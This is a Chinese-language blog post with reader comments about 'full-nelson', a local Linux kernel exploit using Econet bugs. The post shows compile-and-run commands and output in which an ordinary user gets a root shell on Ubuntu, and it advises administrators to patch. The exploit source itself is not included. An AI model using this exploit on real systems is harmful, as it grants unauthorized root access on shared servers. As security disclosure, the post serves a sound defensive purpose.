利用 Linux 内核的多个安全漏洞获得 root 权限

系统安全高手 Dan Rosenberg 发布了一段 C 程序,这段200多行的程序利用了 Linux Econet 协议的3个安全漏洞,可以导致本地帐号对系统进行拒绝服务或特权提升,也就是说一个普通用户可以通过运行这段程序后轻松获得 root shell,以下在 update 过的 Ubuntu 10.04 Server LTS 上测试通过:

$ uname -r
2.6.32-21-server

$ gcc full-nelson.c -o full-nelson
$ ./full-nelson 
[*] Resolving kernel addresses...
 [+] Resolved econet_ioctl to 0xffffffffa0131510
 [+] Resolved econet_ops to 0xffffffffa0131600
 [+] Resolved commit_creds to 0xffffffff8108b820
 [+] Resolved prepare_kernel_cred to 0xffffffff8108bc00
[*] Calculating target...
[*] Failed to set Econet address.
[*] Triggering payload...
[*] Got root!
#

由于 RHEL/CentOS 默认不支持 Econet 协议,所以测试没有通过:

$ uname -r
2.6.18-194.26.1.el5

$ gcc full-nelson.c -o full-nelson
$ ./full-nelson 
[*] Failed to open file descriptors.

如果在企业环境用 Ubuntu 的话可能会比较杯具了,几百个帐号里总可以找到一两个帐号被内部或外部人员通过上面这段程序拿到 root,这对服务器的危害是毁灭性的。前天还在说 Ubuntu 在内核方面无作为,现在想起来还有点后怕。VPSee 提醒正在使用多个普通帐号登录 Ubuntu VPS 的朋友及时升级或打内核补丁,出售 VPN/SSH 帐号、提供免费 SSH 的商家尤其要小心 “客户” 捣乱,使用其他 Linux 发行版的朋友也最好检查一下自己的 VPS 有没有这些高危漏洞。

评论 (6 Comments)

  1. 高手真多!

  2. 如果卖的ssh帐号是禁止登录的,加了nologin,不知道还有没有这个危险?

  3. 无法登录进去是没这危险的

  4. 我测试来一下。我的内核版本是 2.6.35-23
    按照代码所讲述,Linux Kernel <= 2.6.37 都会受影响,可是我的还是不受影响。我的是10.10,
    [*] Resolving kernel addresses…
    [+] Resolved econet_ioctl to 0xfa288340
    [+] Resolved econet_ops to 0xfa288440
    [+] Resolved commit_creds to 0xc016c8d0
    [+] Resolved prepare_kernel_cred to 0xc016cd20
    [*] Calculating target…
    [*] Failed to set Econet address.
    [*] Triggering payload…
    [*] Exploit failed to get root.

    漏洞不可避免,但是LTS有安全支持周期,修补不成问题。
    什么都不支持的东西当然漏洞就少了。这个很正常的事情。
    回去在我的10.04 LTS上试试

  5. test@ubuntu-gnome:/mnt$ ./crack_root
    [*] Resolving kernel addresses…
    [+] Resolved econet_ioctl to 0xc89b2280
    [+] Resolved econet_ops to 0xc89b2360
    [+] Resolved commit_creds to 0xc01645d0
    [+] Resolved prepare_kernel_cred to 0xc01647d0
    [*] Calculating target…
    [*] Triggering payload…
    [*] Got root!
    #

  6. Ubuntu 8.04.4 LTS \n \l
    2.6.24-19-server
    $ gcc full-nelson.c -o full-nelson
    $ ./full-nelson
    [*] Failed to open file descriptors
    按照代码所讲述,Linux Kernel <= 2.6.37 都会受影响,可是我的还是不受影响
    ????什么原因!

发表评论